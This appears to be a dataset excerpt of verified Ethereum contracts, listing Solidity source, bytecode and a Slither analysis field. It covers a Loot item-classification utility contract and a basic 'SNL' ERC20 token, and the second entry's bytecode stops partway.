address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x04190EF3D7C91C881D335725B6BB5d45236B22AE
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
LootCLassification.sol
Lootverse Utility contract to classifyitems found in Loot (For Adventurers) Bags.
See OG Loot Contract for lists of all possible items.
https://etherscan.io/address/0xff9c1b15b16263c61d017ee9f65c50e4ae0113d7
All functions are made public incase they are useful but the expected use is through the main
3 classification functions:
- getRank()
- getClass()
- getMaterial()
- getLevel()
Each of these take an item 'Type' (weapon, chest, head etc.)
and an index into the list of all possible items of that type as found in the OG Loot contract.
The LootComponents(0x3eb43b1545a360d1D065CB7539339363dFD445F3) contract can be used to get item indexes from Loot bag tokenIDs.
The code from LootComponents is copied into this contract and rewritten for gas efficiency
So a typical use might be:
// get weapon classification for loot bag# 1234
{
LootClassification classification =
LootClassification(_TBD_);
uint256[5] memory weaponComponents = classification.weaponComponents(1234);
uint256 index = weaponComponents[0];
LootClassification.Type itemType = LootClassification.Type.Weapon;
LootClassification.Class class = classification.getClass(itemType, index);
LootClassification.Material material = classification.getMaterial(itemType, index);
uint256 rank = classification.getRank(itemType, index);
uint256 level = classification.getLevel(itemType, index);
}
*/
contract LootClassification
{
enum Type
{
Weapon,
Chest,
Head,
Waist,
Foot,
Hand,
Neck,
Ring
}
enum Material
{
Heavy,
Medium,
Dark,
Light,
Cloth,
Hide,
Metal,
Jewellery
}
enum Class
{
Warrior,
Hunter,
Mage,
Any
}
uint256 constant public WeaponLastHeavyIndex = 4;
uint256 constant public WeaponLastMediumIndex = 9;
uint256 constant public WeaponLastDarkIndex = 13;
function getWeaponMaterial(uint256 index) pure public returns(Material)
{
if (index <= WeaponLastHeavyIndex)
return Material.Heavy;
if (index <= WeaponLastMediumIndex)
return Material.Medium;
if (index <= WeaponLastDarkIndex)
return Material.Dark;
return Material.Light;
}
function getWeaponRank(uint256 index) pure public returns (uint256)
{
if (index <= WeaponLastHeavyIndex)
return index + 1;
if (index <= WeaponLastMediumIndex)
return index - 4;
if (index <= WeaponLastDarkIndex)
return index - 9;
return index -13;
}
uint256 constant public ChestLastClothIndex = 4;
uint256 constant public ChestLastLeatherIndex = 9;
function getChestMaterial(uint256 index) pure public returns(Material)
{
if (index <= ChestLastClothIndex)
return Material.Cloth;
if (index <= ChestLastLeatherIndex)
return Material.Hide;
return Material.Metal;
}
function getChestRank(uint256 index) pure public returns (uint256)
{
if (index <= ChestLastClothIndex)
return index + 1;
if (index <= ChestLastLeatherIndex)
return index - 4;
return index - 9;
}
// Head, waist, foot and hand items all follow the same classification pattern,
// so they are generalised as armour.
uint256 constant public ArmourLastMetalIndex = 4;
uint256 constant public ArmourLasLeatherIndex = 9;
function getArmourMaterial(uint256 index) pure public returns(Material)
{
if (index <= ArmourLastMetalIndex)
return Material.Metal;
if (index <= ArmourLasLeatherIndex)
return Material.Hide;
return Material.Cloth;
}
function getArmourRank(uint256 index) pure public returns (uint256)
{
if (index <= ArmourLastMetalIndex)
return index + 1;
if (index <= ArmourLasLeatherIndex)
return index - 4;
return index - 9;
}
function getRingRank(uint256 index) pure public returns (uint256)
{
if (index > 2)
return 1;
else
return index + 1;
}
function getNeckRank(uint256 index) pure public returns (uint256)
{
return 1;
}
function getMaterial(Type lootType, uint256 index) pure public returns (Material)
{
if (lootType == Type.Weapon)
return getWeaponMaterial(index);
if (lootType == Type.Chest)
return getChestMaterial(index);
if (lootType == Type.Head ||
lootType == Type.Waist ||
lootType == Type.Foot ||
lootType == Type.Hand)
{
return getArmourMaterial(index);
}
return Material.Jewellery;
}
function getClass(Type lootType, uint256 index) pure public returns (Class)
{
Material material = getMaterial(lootType, index);
return getClassFromMaterial(material);
}
function getClassFromMaterial(Material material) pure public returns (Class)
{
if (material == Material.Heavy || material == Material.Metal)
return Class.Warrior;
if (material == Material.Medium || material == Material.Hide)
return Class.Hunter;
if (material == Material.Dark || material == Material.Light || material == Material.Cloth)
return Class.Mage;
return Class.Any;
}
function getRank(Type lootType, uint256 index) pure public returns (uint256)
{
if (lootType == Type.Weapon)
return getWeaponRank(index);
if (lootType == Type.Chest)
return getChestRank(index);
if (lootType == Type.Head ||
lootType == Type.Waist ||
lootType == Type.Foot ||
lootType == Type.Hand)
{
return getArmourRank(index);
}
if (lootType == Type.Ring)
return getRingRank(index);
return getNeckRank(index);
}
function getLevel(Type lootType, uint256 index) pure public returns (uint256)
{
if (lootType == Type.Chest ||
lootType == Type.Weapon ||
lootType == Type.Head ||
lootType == Type.Waist ||
lootType == Type.Foot ||
lootType == Type.Hand)
{
return 6 - getRank(lootType, index);
} else {
return 4 - getRank(lootType, index);
}
}
///////////////////////////////////////////////////////////////////////////
/*
Gas efficient implementation of LootComponents
https://etherscan.io/address/0x3eb43b1545a360d1D065CB7539339363dFD445F3#code
The actual names are not needed when retreiving the component indexes only
Header comment from orignal follows:
// SPDX-License-Identifier: Unlicense
This is a utility contract to make it easier for other
contracts to work with Loot properties.
Call weaponComponents(), chestComponents(), etc. to get
an array of attributes that correspond to the item.
The return format is:
uint256[6] =>
[0] = Item ID
[1] = Suffix ID (0 for none)
[2] = Name Prefix ID (0 for none)
[3] = Name Suffix ID (0 for none)
[4] = Augmentation (0 = false, 1 = true)
[5] = Greatness
See the item and attribute tables below for corresponding IDs.
*/
uint256 constant WEAPON_COUNT = 18;
uint256 constant CHEST_COUNT = 15;
uint256 constant HEAD_COUNT = 15;
uint256 constant WAIST_COUNT = 15;
uint256 constant FOOT_COUNT = 15;
uint256 constant HAND_COUNT = 15;
uint256 constant NECK_COUNT = 3;
uint256 constant RING_COUNT = 5;
uint256 constant SUFFIX_COUNT = 16;
uint256 constant NAME_PREFIX_COUNT = 69;
uint256 constant NAME_SUFFIX_COUNT = 18;
function random(string memory input) internal pure returns (uint256)
{
return uint256(keccak256(abi.encodePacked(input)));
}
function weaponComponents(uint256 tokenId) public pure returns (uint256[6] memory)
{
return tokenComponents(tokenId, "WEAPON", WEAPON_COUNT);
}
function chestComponents(uint256 tokenId) public pure returns (uint256[6] memory)
{
return tokenComponents(tokenId, "CHEST", CHEST_COUNT);
}
function headComponents(uint256 tokenId) public pure returns (uint256[6] memory)
{
return tokenComponents(tokenId, "HEAD", HEAD_COUNT);
}
function waistComponents(uint256 tokenId) public pure returns (uint256[6] memory)
{
return tokenComponents(tokenId, "WAIST", WAIST_COUNT);
}
function footComponents(uint256 tokenId) public pure returns (uint256[6] memory)
{
return tokenComponents(tokenId, "FOOT", FOOT_COUNT);
}
function handComponents(uint256 tokenId) public pure returns (uint256[6] memory)
{
return tokenComponents(tokenId, "HAND", HAND_COUNT);
}
function neckComponents(uint256 tokenId) public pure returns (uint256[6] memory)
{
return tokenComponents(tokenId, "NECK", NECK_COUNT);
}
function ringComponents(uint256 tokenId) public pure returns (uint256[6] memory)
{
return tokenComponents(tokenId, "RING", RING_COUNT);
}
function tokenComponents(uint256 tokenId, string memory keyPrefix, uint256 itemCount)
internal pure returns (uint256[6] memory)
{
uint256[6] memory components;
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId))));
components[0] = rand % itemCount;
components[1] = 0;
components[2] = 0;
components[5] = rand % 21; //aka greatness
if (components[5] > 14) {
components[1] = (rand % SUFFIX_COUNT) + 1;
}
if (components[5] >= 19) {
components[2] = (rand % NAME_PREFIX_COUNT) + 1;
components[3] = (rand % NAME_SUFFIX_COUNT) + 1;
if (components[5] == 19) {
// ...
} else {
components[4] = 1;
}
}
return components;
}
function toString(uint256 value) internal pure returns (string memory)
{
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80635f65c917116100f9578063af41894f11610097578063e1423ad411610071578063e1423ad414610213578063e5322ea914610363578063f63db29714610376578063fbe0fbd51461038957600080fd5b8063af41894f1461032a578063dbecb50b1461033d578063e0398c1a1461035057600080fd5b80637c64810c116100d35780637c64810c146102135780638a43aa46146102f0578063a6b4014614610303578063a76a9d271461031657600080fd5b80635f65c9171461024157806361d73f64146102ca578063741ec32e146102dd57600080fd5b80633b7919a111610166578063441870d011610140578063441870d01461027157806349873cfe146102845780634c865a79146102975780635c7e6b0e146102aa57600080fd5b80633b7919a1146101f25780633ff48ee114610249578063433b43f51461025157600080fd5b8063196f659e116101a2578063196f659e1461021b578063261de77c1461022e578063333ca06d1461024157806339b7bb651461024157600080fd5b8063063e077a146101c95780630e98d1ed146101f257806312a685b014610213575b600080fd5b6101dc6101d7366004610de0565b61039c565b6040516101e99190610e52565b60405180910390f35b610205610200366004610de0565b6103d2565b6040519081526020016101e9565b610205600481565b6101dc610229366004610de0565b610405565b6101dc61023c366004610de0565b610435565b610205600981565b610205600d81565b61026461025f366004610de0565b610466565b6040516101e99190610e9d565b6101dc61027f366004610de0565b610490565b610264610292366004610de0565b6104c0565b6101dc6102a5366004610de0565b6104ea565b6102bd6102b8366004610db5565b61051c565b6040516101e99190610e83565b6102056102d8366004610de0565b61053c565b6102056102eb366004610de0565b610582565b6101dc6102fe366004610de0565b6105a0565b610264610311366004610de0565b6105d0565b610205610324366004610de0565b50600190565b610205610338366004610db5565b61060a565b61026461034b366004610db5565b610737565b6101dc61035e366004610de0565b610852565b6102bd610371366004610d99565b610882565b610205610384366004610db5565b6109bb565b6101dc610397366004610de0565b610b08565b6103a4610d7b565b6103cc826040518060400160405280600481526020016352494e4760e01b8152506005610b35565b92915050565b6000600482116103e7576103cc826001610eb1565b600982116103fa576103cc600483610edd565b6103cc600983610edd565b61040d610d7b565b6103cc82604051806040016040528060048152602001631210539160e21b815250600f610b35565b61043d610d7b565b6103cc826040518060400160405280600581526020016415d05254d560da1b815250600f610b35565b60006004821161047857506004919050565b6009821161048857506005919050565b506006919050565b610498610d7b565b6103cc82604051806040016040528060048152602001631211505160e21b815250600f610b35565b6000600482116104d257506006919050565b600982116104e257506005919050565b506004919050565b6104f2610d7b565b6103cc82604051806040016040528060068152602001652ba2a0a827a760d11b8152506012610b35565b6000806105298484610737565b905061053481610882565b949350505050565b600060048211610551576103cc826001610eb1565b60098211610564576103cc600483610edd565b600d8211610577576103cc600983610edd565b6103cc600d83610edd565b6000600282111561059557506001919050565b6103cc826001610eb1565b6105a8610d7b565b6103cc82604051806040016040528060048152602001634e45434b60e01b8152506003610b35565b6000600482116105e257506000919050565b600982116105f257506001919050565b600d821161060257506002919050565b506003919050565b6000600183600781111561062e57634e487b7160e01b600052602160045260246000fd5b14806106595750600083600781111561065757634e487b7160e01b600052602160045260246000fd5b145b806106835750600283600781111561068157634e487b7160e01b600052602160045260246000fd5b145b806106ad575060038360078111156106ab57634e487b7160e01b600052602160045260246000fd5b145b806106d7575060048360078111156106d557634e487b7160e01b600052602160045260246000fd5b145b80610701575060058360078111156106ff57634e487b7160e01b600052602160045260246000fd5b145b156107225761071083836109bb565b61071b906006610edd565b90506103cc565b61072c83836109bb565b61071b906004610edd565b60008083600781111561075a57634e487b7160e01b600052602160045260246000fd5b14156107695761071b826105d0565b600183600781111561078b57634e487b7160e01b600052602160045260246000fd5b141561079a5761071b82610466565b60028360078111156107bc57634e487b7160e01b600052602160045260246000fd5b14806107e7575060038360078111156107e557634e487b7160e01b600052602160045260246000fd5b145b806108115750600483600781111561080f57634e487b7160e01b600052602160045260246000fd5b145b8061083b5750600583600781111561083957634e487b7160e01b600052602160045260246000fd5b145b156108495761071b826104c0565b50600792915050565b61085a610d7b565b6103cc82604051806040016040528060048152602001631193d3d560e21b815250600f610b35565b6000808260078111156108a557634e487b7160e01b600052602160045260246000fd5b14806108d0575060068260078111156108ce57634e487b7160e01b600052602160045260246000fd5b145b156108dd57506000919050565b60018260078111156108ff57634e487b7160e01b600052602160045260246000fd5b148061092a5750600582600781111561092857634e487b7160e01b600052602160045260246000fd5b145b1561093757506001919050565b600282600781111561095957634e487b7160e01b600052602160045260246000fd5b14806109845750600382600781111561098257634e487b7160e01b600052602160045260246000fd5b145b806109ae575060048260078111156109ac57634e487b7160e01b600052602160045260246000fd5b145b1561060257506002919050565b6000808360078111156109de57634e487b7160e01b600052602160045260246000fd5b14156109ed5761071b8261053c565b6001836007811115610a0f57634e487b7160e01b600052602160045260246000fd5b1415610a1e5761071b826103d2565b6002836007811115610a4057634e487b7160e01b600052602160045260246000fd5b1480610a6b57506003836007811115610a6957634e487b7160e01b600052602160045260246000fd5b145b80610a9557506004836007811115610a9357634e487b7160e01b600052602160045260246000fd5b145b80610abf57506005836007811115610abd57634e487b7160e01b600052602160045260246000fd5b145b15610acd5761071b826103d2565b6007836007811115610aef57634e487b7160e01b600052602160045260246000fd5b1415610afe5761071b82610582565b60015b9392505050565b610b10610d7b565b6103cc826040518060400160405280600581526020016410d21154d560da1b815250600f5b610b3d610d7b565b610b45610d7b565b6000610b7985610b5488610c30565b604051602001610b65929190610e3d565b604051602081830303815290604052610d4a565b9050610b858482610f0f565b82526000602083018190526040830152610ba0601582610f0f565b60a08301819052600e1015610bcb57610bba601082610f0f565b610bc5906001610eb1565b60208301525b60a0820151601311610c2757610be2604582610f0f565b610bed906001610eb1565b6040830152610bfd601282610f0f565b610c08906001610eb1565b606083015260a082015160131415610c1f57610c27565b600160808301525b50949350505050565b606081610c545750506040805180820190915260018152600360fc1b602082015290565b8160005b8115610c7e5780610c6881610ef4565b9150610c779050600a83610ec9565b9150610c58565b60008167ffffffffffffffff811115610ca757634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015610cd1576020820181803683370190505b5090505b841561053457610ce6600183610edd565b9150610cf3600a86610f0f565b610cfe906030610eb1565b60f81b818381518110610d2157634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350610d43600a86610ec9565b9450610cd5565b600081604051602001610d5d9190610e31565b60408051601f19818403018152919052805160209091012092915050565b6040518060c001604052806006906020820280368337509192915050565b600060208284031215610daa578081fd5b8135610b0181610f65565b60008060408385031215610dc7578081fd5b8235610dd281610f65565b946020939093013593505050565b600060208284031215610df1578081fd5b5035919050565b60008151815b81811015610e185760208185018101518683015201610dfe565b81811115610e265782828601525b509290920192915050565b6000610b018284610df8565b6000610534610e4c8386610df8565b84610df8565b60c08101818360005b6006811015610e7a578151835260209283019290910190600101610e5b565b50505092915050565b6020810160048310610e9757610e97610f4f565b91905290565b6020810160088310610e9757610e97610f4f565b60008219821115610ec457610ec4610f23565b500190565b600082610ed857610ed8610f39565b500490565b600082821015610eef57610eef610f23565b500390565b6000600019821415610f0857610f08610f23565b5060010190565b600082610f1e57610f1e610f39565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b60088110610f7257600080fd5b5056fea2646970667358221220f3a9e97700eb259cfbc46be1d5cafbfa9848b5c3488e5f086f8452b494d13b3964736f6c63430008040033
|
{"success": true, "error": null, "results": {}}
| 3,300 |
0x00f9f4f3ced5d4f6aedea8a92414206557df7167
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract SNL is StandardToken, Ownable {
// Constants
string public constant name = "SNL";
string public constant symbol = "SNL";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 500000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function SNL() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280600381526020017f534e4c000000000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a631dcd65000281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009